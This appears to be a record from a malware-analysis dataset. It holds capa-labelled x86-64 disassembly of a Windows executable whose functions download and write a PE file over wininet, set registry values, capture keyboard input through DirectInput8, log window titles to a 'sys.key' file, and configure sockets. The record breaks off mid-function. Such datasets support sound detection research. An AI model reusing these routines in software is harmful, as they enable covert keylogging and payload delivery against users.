joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140007030
Capabilities:
Create process on windows
Query environment variable

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov rsi, rcx
mov r12d, r8d
mov rdi, rdx
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.140016c20
mov edx, 0x2e
mov rcx, rdi
call fcn.140015724
mov rbx, rax
test rax, rax
je 0x140007288
mov qword [rsp + 0xb50], r13
lea rcx, [rbp + 0x1f2]
xor r13d, r13d
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x1f0], r13w
call fcn.140016c20
lea edx, [r13 + 0x20]
mov rcx, rbx
call fcn.140015724
mov rcx, rbx
test rax, rax
je 0x1400070e7
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x140007104
cmp word [rbx + rcx*2], 0x20
je 0x1400070ed
dec rcx
dec eax
test rcx, rcx
jg 0x1400070d4
jmp 0x140007104
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
lea rcx, [rbp + 0x1f0]
movsxd r9, eax
mov r8, rbx
mov edx, 0x104
call fcn.140015750
lea r9, [rbp - 0x20]
lea rdx, [rbp + 0x1f0]
mov r8d, 1
mov rcx, rsi
call fcn.1400072b0
test eax, eax
je 0x14000719a
lea rcx, [rbp + 0x610]
xor edx, edx
mov r8d, 0x3e8
call fcn.140016c20
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp - 0x20]
xor edx, edx
mov r8d, 0x208
call fcn.140016c20
lea rcx, [rbp + 0x402]
xor edx, edx
mov r8d, 0x206
mov word [rbp + 0x400], r13w
call fcn.140016c20
lea r9, [rbp + 0x400]
lea rdx, [rbp + 0x610]
mov r8d, 2
mov rcx, rsi
call fcn.1400072b0
test eax, eax
jne 0x1400071a1
xor al, al
jmp 0x140007280
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
mov r8d, 0x104
call qword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
lea rdx, [0x14002eb38]
lea rcx, [rbp - 0x20]
call fcn.140015034
test rax, rax
jne 0x140007202
lea rdx, [0x14002eb40]
lea rcx, [rbp - 0x20]
call fcn.140015034
test rax, rax
jne 0x140007202
lea rdx, [0x14002e280]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rcx, [rbp - 0x20]
mov rdx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
jmp 0x14000720e
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
xor edx, edx
lea rcx, [rsp + 0x58]
lea r8d, [rdx + 0x60]
call fcn.140016c20
mov dword [rsp + 0x50], WSAGetLastError
test r12d, r12d
je 0x140007239
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x140007245
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], r13w
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x20]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
xor ecx, ecx
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
call qword [sym.imp.KERNEL32.DLL_CreateProcessW]
mov al, 1
mov r13, qword [rsp + 0xb50]
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.140014970
add rsp, 0xb10
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140007850
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov rbp, rdx
lea rax, [rsp + 0x50]
mov rsi, r8
mov rbx, rcx
lea rdi, str.main
lea r12, str.back
mov rdx, rdi
mov r9d, 2
cmovne rdx, r12
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea r8, [rsp + 0x50]
cmovne rdi, r12
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x14000790f
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r12
pop rdi
pop rsi
ret
Function at 0x140007a80
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x860
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rbp, rcx
xor r14d, r14d
lea rcx, str.wininet.dll
mov esi, 1
mov rbx, rdx
mov dword [rsp + 0x40], r14d
mov dword [rsp + 0x44], r14d
movzx r12d, sil
call qword [sym.imp.KERNEL32.DLL_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r14d
call rax
mov r13, rax
test rax, rax
jne 0x140007b13
test rdi, rdi
je 0x140007b0c
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_FreeLibrary]
xor al, al
jmp 0x140007c4a
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x140007afe
mov qword [rsp + 0x30], r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140007c10
mov qword [rsp + 0x8b0], r15
mov r15d, 0x5a4d
nop word [rax + rax]
lea rcx, [rsp + 0x50]
xor edx, edx
mov r8d, 0x800
call fcn.140016c20
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov r8d, 0x800
mov rcx, rbp
call rax
test esi, esi
je 0x140007bd3
cmp word [rsp + 0x50], r15w
jne 0x140007bfc
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov rcx, rbx
mov esi, r14d
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.DLL_WriteFile]
cmp dword [rsp + 0x40], r14d
ja 0x140007b90
jmp 0x140007bff
xor r12b, r12b
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov r15, qword [rsp + 0x8b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.DLL_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x140007c46
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_FreeLibrary]
movzx eax, r12b
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.140014970
add rsp, 0x860
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007f50
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push rdi
push r14
push r15
sub rsp, 0x20
mov r8, qword [rcx]
mov rbp, rcx
mov ecx, dword [rcx + 0x68]
movzx eax, word [r8 + 0x14]
mov r15, qword [r8 + 0x30]
dec rcx
mov r11d, dword [rax + r8 + 0x20]
lea r9, [rax + r8 + 0x18]
movabs rax, 0xffffffff00000000
and r15, rax
mov eax, dword [r9 + 0x10]
not rcx
or r11, r15
and rcx, r11
test eax, eax
jne 0x140007fb0
mov edx, dword [r9 + 0x24]
test dl, 0x40
je 0x140007fa8
mov eax, dword [r8 + 0x20]
jmp 0x140007fb0
test dl, dl
jns 0x140007fb0
mov eax, dword [r8 + 0x24]
mov edx, dword [r9 + 0x24]
mov ebx, 1
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], r12
mov r10d, eax
mov r14d, ebx
lea rdi, [0x14003b930]
mov qword [rsp + 0x68], r13
cmp bx, word [r8 + 6]
jae 0x140008127
lea rbx, [r9 + 0x4c]
nop word [rax + rax]
mov esi, dword [rbp + 0x68]
mov r12d, dword [rbx - 0x1c]
mov eax, dword [rbx - 0x14]
or r12, r15
lea rdi, [rsi - 1]
not rdi
and rdi, r12
test eax, eax
jne 0x140008023
mov r9d, dword [rbx]
test r9b, 0x40
je 0x14000801a
mov eax, dword [r8 + 0x20]
jmp 0x140008023
test r9b, r9b
jns 0x140008023
mov eax, dword [r8 + 0x24]
mov r13d, eax
cmp rcx, rdi
je 0x1400080e1
lea rax, [r10 + r11]
cmp rax, rdi
ja 0x1400080e1
test r10, r10
je 0x1400080d4
bt edx, 0x19
jae 0x140008087
cmp r11, rcx
jne 0x1400080d4
cmp dword [r8 + 0x38], esi
je 0x140008067
xor edx, edx
mov rax, r10
div rsi
test rdx, rdx
jne 0x1400080d4
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x140008102
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
lea rax, [0x14003b930]
mov r8d, dword [rax + rcx*4]
bt edx, 0x1a
jae 0x1400080bf
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
je 0x14000814c
mov edx, dword [rbx]
mov r11, r12
mov rcx, rdi
mov r10, r13
jmp 0x140008102
mov eax, dword [rbx]
bt eax, 0x19
jae 0x1400080f3
bt edx, 0x19
jae 0x1400080f3
or edx, eax
jmp 0x1400080f9
or edx, eax
btr edx, 0x19
mov r10, r13
sub r10, r11
add r10, r12
mov r8, qword [rbp]
inc r14d
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp r14d, eax
jl 0x140007ff0
mov ebx, 1
lea rdi, [0x14003b930]
test r10, r10
je 0x140008196
bt edx, 0x19
jae 0x140008150
cmp r11, rcx
jne 0x140008196
mov r9, qword [rbp + 0x58]
mov r8d, 0x4000
mov rdx, r10
mov rcx, r11
call qword [rbp + 0x30]
jmp 0x140008196
xor eax, eax
jmp 0x140008198
mov eax, edx
shr eax, 0x1d
and eax, 1
movsxd rcx, eax
mov eax, edx
shr eax, 0x1e
and eax, 1
cdqe
lea rcx, [rax + rcx*2]
mov eax, edx
shr eax, 0x1f
lea rcx, [rax + rcx*2]
mov r8d, dword [rdi + rcx*4]
bt edx, 0x1a
jae 0x140008181
bts r8d, 9
lea r9, [rsp + 0x50]
mov rdx, r10
mov rcx, r11
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
je 0x14000814c
mov eax, ebx
mov r13, qword [rsp + 0x68]
mov r12, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
pop rbp
pop rbx
ret
Function at 0x140008dc0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x30
mov rsi, rcx
mov rcx, qword [rcx + 0x148]
mov rdi, r9
mov r12d, r8d
mov r13, rdx
call qword [sym.imp.KERNEL32.DLL_ResetEvent]
mov rcx, qword [rsi + 0x390]
call qword [sym.imp.KERNEL32.DLL_ResetEvent]
xor r14d, r14d
lea rcx, [rsi + 0x138]
mov eax, r14d
xchg dword [rsi + 0x150], eax
call qword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
lea rcx, [rsi + 0x160]
mov r8, rdi
mov edx, 0xff
call fcn.140015098
lea rcx, [rsi + 0x160]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
lea rdx, [rsi + 0x160]
lea rcx, [rsi + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [rsi + 0x360], eax
call fcn.1400149b0
movsxd r11, dword [rsi + 0x360]
lea eax, [r11 + 4]
mov rcx, r11
mov dword [rsi + 0x364], eax
call fcn.140014d40
mov qword [rsi + 0x380], rax
test rax, rax
je 0x140008edd
mov rcx, qword [rsi + 0x378]
mov edi, 1
movzx r8d, r12w
mov rax, qword [rcx + 8]
add rcx, 8
mov rdx, r13
mov r9d, edi
mov word [rsp + 0x28], r14w
mov qword [rsp + 0x20], r14
call qword [rax]
mov rcx, qword [rsi + 0x390]
mov edx, 0x1770
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x140008ee1
cmp eax, 0x102
je 0x140008ed0
cmp eax, 0xffffffff
jne 0x140008edd
mov rcx, qword [rsi + 0x390]
call qword [sym.imp.KERNEL32.DLL_ResetEvent]
xor al, al
jmp 0x140008f3b
lea rcx, [rsi + 0x140]
call qword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
mov rax, qword [rsi + 0x140]
sub rax, qword [rsi + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [rsi + 0x130]
cvtsi2sd xmm1, rax
divsd xmm0, qword [0x14002edb8]
divsd xmm1, xmm0
movsd qword [rsi + 0x128], xmm1
xchg dword [rsi + 0x150], edi
mov rcx, qword [rsi + 0x390]
call qword [sym.imp.KERNEL32.DLL_ResetEvent]
mov al, 1
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop r13
pop r12
ret

Function at 0x14000a180
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov ecx, eax
xor edx, edx
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call qword [sym.imp.USER32.dll_GetInputState]
xor ebx, ebx
lea r8, [0x1400098f0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
lea r8, [0x140009e80]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x14003f740], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.DLL_CreateThread]
mov rcx, qword [0x14003f740]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, qword [0x14003f740]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
ret
Function at 0x14000a210
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor r9d, r9d
mov rsi, rdx
mov rbp, rcx
lea r13, [0x14003dac0]
lea edx, [r9 + 0x23]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], r13
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, str._sys.key
mov rcx, r13
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
mov r8, r13
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_CreateMutexW]
or edx, 0xffffffff
mov rcx, rax
mov qword [0x14003f758], rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 2]
mov edx, 0x40000000
mov rcx, r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
xor edx, edx
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp ebx, 0x3200000
jbe 0x14000a2db
mov rcx, r13
call qword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov rcx, qword [0x14003f758]
call qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov rcx, qword [rsi]
lea r9, [0x14003f748]
lea r8, [0x14002d5d0]
mov edx, 0x800
mov qword [rsp + 0x20], r12
call qword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x14000a314
xor al, al
jmp 0x14000a3b8
mov rcx, qword [0x14003f748]
lea r8, [0x14003f750]
lea rdx, [0x14002d5f0]
mov rax, qword [rcx]
xor r9d, r9d
call qword [rax + 0x18]
test eax, eax
js 0x14000a30d
mov rcx, qword [0x14003f750]
lea rdx, [0x14002d5b0]
mov rax, qword [rcx]
call qword [rax + 0x58]
test eax, eax
js 0x14000a30d
mov rcx, qword [0x14003f750]
mov rdx, qword [rbp]
mov r8d, 0xa
mov rax, qword [rcx]
call qword [rax + 0x68]
test eax, eax
js 0x14000a30d
mov rcx, qword [0x14003f750]
mov dword [rsp + 0x40], shutdown
mov qword [rsp + 0x44], reloc.WS2_32.dll_recv
mov dword [rsp + 0x4c], r12d
mov dword [rsp + 0x50], 0x3c
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
mov edx, 1
call qword [rax + 0x30]
test eax, eax
js 0x14000a30d
mov rcx, qword [0x14003f750]
mov rax, qword [rcx]
call qword [rax + gethostname]
test eax, eax
setns al
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140014970
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000a3e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rcx
mov rcx, qword [0x14003f758]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
xor r9d, r9d
mov qword [rsp + 0x30], 0
lea rcx, [0x14003dac0]
lea r8d, [r9 + 2]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov rbx, rax
mov dword [rsp + 0x58], 0
call qword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
lea r9, [rsp + 0x58]
mov rdx, rdi
lea r8d, [rax + rax]
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, qword [0x14003f758]
call qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x14000a4a0
Capabilities:
Get graphical window text

Disassembly:
push rbx
sub rsp, 0x870
mov rax, qword [0x140036248]
xor rax, rsp
mov qword [rsp + 0x860], rax
lea rcx, [0x14003fd10]
xor edx, edx
mov r8d, 0x800
call fcn.140016c20
call qword [sym.imp.USER32.dll_GetForegroundWindow]
lea rdx, [0x14003fd10]
mov rcx, rax
mov r8d, 0x800
mov qword [0x14003fd08], rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rsp + 0x62]
xor ebx, ebx
xor edx, edx
mov r8d, 0x7fe
mov word [rsp + 0x60], bx
call fcn.140016c20
mov r11, qword [0x14003fd00]
cmp qword [0x14003fd08], r11
je 0x14000a5bc
lea rcx, [0x14003fd10]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
test eax, eax
jle 0x14000a5ae
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx ecx, word [rsp + 0x52]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x56]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], ecx
lea rcx, [rsp + 0x60]
lea r8, [0x14003fd10]
lea rdx, [0x14002ed50]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x60]
call fcn.14000a3e0
lea rcx, [0x14003fd10]
xor edx, edx
mov r8d, 0x800
call fcn.140016c20
mov ebx, 1
mov rcx, qword [0x14003fd08]
mov qword [0x14003fd00], rcx
mov eax, ebx
mov rcx, qword [rsp + 0x860]
xor rcx, rsp
call fcn.140014970
add rsp, 0x870
pop rbx
ret

Function at 0x14000a9a0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x14000d0b0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x14000a9b0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x14000d0e0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret
Function at 0x14000cff0
Capabilities:
Set socket configuration

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x38
mov edx, 6
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 4
lea r8d, [rdx - 5]
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x14000d0b0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x14000d0b0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x14000d0e0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x14000d0e0
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x14000d110
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x48], 0
test edx, edx
jne 0x14000d138
lea r9, [rsp + 0x50]
jmp 0x14000d142
cmp edx, 1
jne 0x14000d18b
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov dword [rsp + 0x20], 4
mov ebx, eax
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
cmp edx, 2
jne 0x14000d1de
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0xfffffffb
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 4
mov rcx, rdi
mov ebx, eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
or eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
mov ecx, 0x57
call qword [sym.imp.KERNEL32.DLL_SetLastError]
mov rbx, qword [rsp + 0x40]
or eax, 0xffffffff
add rsp, 0x30
pop rdi
ret
Function at 0x14000d600
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
mov rdi, rcx
lea rdx, [rsp + 0x44]
mov rcx, rbx
mov rbp, r9
mov rsi, r8
call qword [sym.imp.KERNEL32.DLL_GetFileSize]
mov r8d, dword [rsp + 0x60]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x40]
cmp rax, rsi
cmovb rax, rsi
xor edx, edx
mov qword [rsp + 0x40], rax
mov ecx, dword [rsp + 0x40]
shr rax, 0x20
mov dword [rsp + 0x20], ecx
mov rcx, rbx
mov r9d, eax
call qword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
mov rcx, rax
mov qword [rdi + 0x10], rax
test rax, rax
jne 0x14000d67e
call fcn.14000a910
jmp 0x14000d6e6
test rsi, rsi
jne 0x14000d691
mov rax, qword [rsp + 0x40]
sub rax, rbp
mov qword [rdi + 8], rax
jmp 0x14000d695
mov qword [rdi + 8], rsi
mov edx, dword [rsp + 0x68]
mov rax, qword [rdi + 8]
mov qword [rdi + 0x18], rbp
mov r8d, dword [rdi + 0x1c]
mov r9d, ebp
mov qword [rsp + 0x28], 0
mov dword [rdi + 0x20], edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.DLL_MapViewOfFileEx]
mov qword [rdi], rax
test rax, rax
jne 0x14000d6e4
call fcn.14000a910
mov rcx, qword [rdi + 0x10]
mov ebx, eax
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov qword [rdi + 0x10], 0
mov eax, ebx
jmp 0x14000d6e6
xor eax, eax
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x14000d7d0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x50
xor ebx, ebx
mov rdi, r8
mov rsi, rdx
mov r12, r9
mov dword [rax - 0x38], 0x1c
lea r8, [rax - 0x38]
mov word [rax - 0x30], bx
lea rdx, [rax - 0x30]
cmp dword [rsp + 0x80], ebx
je 0x14000d814
call qword [sym.imp.WS2_32.dll_getsockname]
jmp 0x14000d81a
call qword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x14000d822
xor eax, eax
jmp 0x14000d89d
movzx ecx, word [rsp + 0x2a]
mov qword [rsp + 0x60], rbp
movzx ebp, word [rsp + 0x28]
call qword [sym.imp.WS2_32.dll_ntohs]
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x2c]
mov word [r12], ax
movzx eax, word [rsp + 0x28]
movsxd r9, dword [rdi]
cmp eax, 2
mov r8, rsi
cmovne rdx, rcx
mov ecx, eax
call sub.WS2_32.dll_InetNtopW
test rax, rax
je 0x14000d878
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov ebx, 1
inc eax
mov dword [rdi], eax
jmp 0x14000d896
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x57
jne 0x14000d896
mov ecx, 0x2e
mov eax, reloc.WS2_32.dll_recv
cmp bp, 2
cmove ecx, eax
mov dword [rdi], ecx
mov rbp, qword [rsp + 0x60]
mov eax, ebx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
Function at 0x14000d8e0
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, rcx
mov rcx, qword [rdx + 8]
mov rbx, rdx
xor edx, edx
mov edi, r9d
mov rsi, r8
test rcx, rcx
je 0x14000d934
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], 0x80
lea r9d, [rdx + 1]
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdx
mov r8d, 0x80000000
